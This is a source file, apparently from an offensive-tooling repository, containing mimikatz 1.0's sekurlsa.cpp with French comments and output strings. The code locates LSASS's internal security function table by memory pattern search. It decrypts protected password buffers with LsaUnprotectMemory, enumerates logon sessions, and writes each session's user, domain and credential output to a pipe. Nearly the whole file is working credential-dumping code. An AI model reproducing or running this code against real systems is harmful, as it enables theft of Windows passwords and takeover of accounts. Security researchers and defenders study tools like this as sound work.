aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp
blob: 1d07596aa78d6a3302615f0849f8b0780ce5d317 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence    : http://creativecommons.org/licenses/by/3.0/fr/
	Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "sekurlsa.h"
PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable = NULL;

__kextdll bool __cdecl getDescription(wstring * maDescription)
{
	maDescription->assign(L"SekurLSA : librairie de manipulation des données de sécurités dans LSASS\n");
	return mod_system::getVersion(&mod_system::GLOB_Version);
}

bool searchLSAFuncs()
{
	if(!SeckPkgFunctionTable)
	{
		if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv"))
		{
			struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsasrv, "LsaIRegisterNotification"), GetProcAddress(hLsasrv, "LsaICancelNotification")};
			if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification)
				mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast<PBYTE>(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true);
		}
	}
	return (SeckPkgFunctionTable != NULL);
}

wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass)
{
	wstring password;
	if(ptrPass->Buffer && (ptrPass->Length > 0))
	{
		BYTE * monPass = new BYTE[ptrPass->MaximumLength];
		RtlCopyMemory(monPass, ptrPass->Buffer, ptrPass->MaximumLength);
		SeckPkgFunctionTable->LsaUnprotectMemory(monPass, ptrPass->MaximumLength);
		password.assign(mod_text::stringOrHex(reinterpret_cast<PBYTE>(monPass), ptrPass->Length));
		delete[] monPass;
	}
	return password;
}

bool getLogonData(mod_pipe * monPipe, vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders)
{
	bool sendOk = true;
	PLUID sessions;
	ULONG count;

	if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions)))
	{
		for (ULONG i = 0; i < count && sendOk; i++)
		{
			PSECURITY_LOGON_SESSION_DATA sessionData = NULL;
			if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData)))
			{
				if(sessionData->LogonType != Network)
				{
					wostringstream maPremiereReponse;
					maPremiereReponse << endl <<
						L"Authentification Id         : "	<< sessions[i].HighPart << L";" << sessions[i].LowPart << endl <<
						L"Package d\'authentification  : "	<< mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl <<
						L"Utilisateur principal       : "	<< mod_text::stringOfSTRING(sessionData->UserName) << endl <<
						L"Domaine d\'authentification  : "	<< mod_text::stringOfSTRING(sessionData->LogonDomain) << endl;

					sendOk = sendTo(monPipe, maPremiereReponse.str());

					for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++)
					{
						wostringstream maSecondeReponse;
						maSecondeReponse << L'\t' << monProvider->second << L" : \t";
						sendOk = sendTo(monPipe, maSecondeReponse.str());
						monProvider->first(&sessions[i], monPipe, mesArguments->empty());
						sendOk = sendTo(monPipe, L"\n");
					}
				}
				LsaFreeReturnBuffer(sessionData);
			}
			else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'obtenir les données de session\n");
		}
		LsaFreeReturnBuffer(sessions);
	}
	else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'énumerer les sessions courantes\n");

	return sendOk;
}